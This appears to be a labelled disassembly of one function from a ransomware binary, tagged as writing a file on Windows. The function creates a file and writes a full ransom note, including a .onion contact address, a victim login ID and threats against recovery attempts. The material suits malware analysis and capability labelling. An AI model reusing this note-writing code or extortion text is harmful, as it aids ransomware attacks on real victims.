Function at 0x416710
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a2f75
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0x18]
mov eax, SysReAllocString
sub eax, edi
mov dword [ebp - 4], 0
cmp eax, 1
jb 0x416969
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
lea ecx, [edi + 1]
mov dword [ebp - 0x30], 0
cmovae eax, dword [ebp + 8]
mov esi, 7
mov dword [ebp - 0x44], eax
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x48], eax
movups xmmword [ebp - 0x40], xmm0
cmp ecx, esi
jbe 0x4167bc
mov esi, ecx
or esi, 7
cmp esi, 0x7ffffffe
jbe 0x41679d
mov esi, SysReAllocString
jmp 0x4167a7
mov eax, 0xa
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x40]
call fcn.00412270
mov dword [ebp - 0x48], eax
lea ecx, [edi + 1]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x2c], esi
lea esi, [edi + edi]
push esi
push dword [ebp - 0x44]
mov dword [ebp - 0x30], ecx
push eax
call fcn.00472fd0
mov eax, dword [ebp - 0x48]
mov ecx, 0x5c
add esp, 0xc
mov word [esi + eax], cx
xor ecx, ecx
mov word [eax + edi*2 + 2], cx
cmp dword [0x4d6748], 8
lea ecx, [ebp - 0x40]
push dword [0x4d6744]
mov eax, 0x4d6734
mov byte [ebp - 4], 1
cmovae eax, dword [0x4d6734]
push eax
call fcn.00412730
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov ecx, dword [ebp - 0x2c]
cmp ecx, 8
jb 0x41687e
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x416874
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41696e
push ecx
push edx
call fcn.0047155d
add esp, 8
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push 0x80
push 2
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4168c7
push 0
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0
push eax
push 0x443
push str.ATTENTION__r_nYour_network_has_been_breached_and_all_data_was_encrypted._Please_contact_us_at:_r_nhttps:__bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion___r_n_r_n_r_nLogin_ID:_9064b39a_4d26_4a57_828c_c2e1a49ffc8c_r_n_r_n_r_n__To_access_.onion_websites_download_and_install_Tor_Browser_at:_r_n_r_n___https:__www.torproject.org___Tor_Browser_is_not_related_to_us__r_n_r_n__To_restore_all_your_PCs_and_get_your_network_working_again__follow_these_instructions:_r_n_r_n__Any_attempts_to_modify__decrypt_or_rename_the_files_will_lead_to_its_fatal_corruption._It_doesnt_matter__who_are_trying_to_do_this__either_it_will_be_your_IT_guys_or_a_recovery_agency._r_n_r_nPlease_follow_these_simple_rules_to_avoid_data_corruption:_r_n_r_n__Do_not_modify__rename_or_delete_files._Any_attempts_to_modify__decrypt_or_rename_the_files_will_lead_to_its_fatal_corruption.__r_n_r_n__Do_not_hire_a_recovery_company._They_cant_decrypt_without_the_key.__r_nThey_also_dont_care_about_your_business._They_believe_that_they_are__r_ngood_negotiators__but_it_is_not._They_usually_fail._So_speak_for_yourself._r_n_r_n_r_n_r_nWaiting_you_in_a_chat._r_n
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x416904
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4168fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416973
push ecx
push edx
call fcn.0047155d
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp ecx, 8
jb 0x41694e
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x416944
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416973
push ecx
push edx
call fcn.0047155d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004717ca
mov esp, ebp
pop ebp
ret
call fcn.00412170
call fcn.0047cebf
call fcn.0047cebf
int3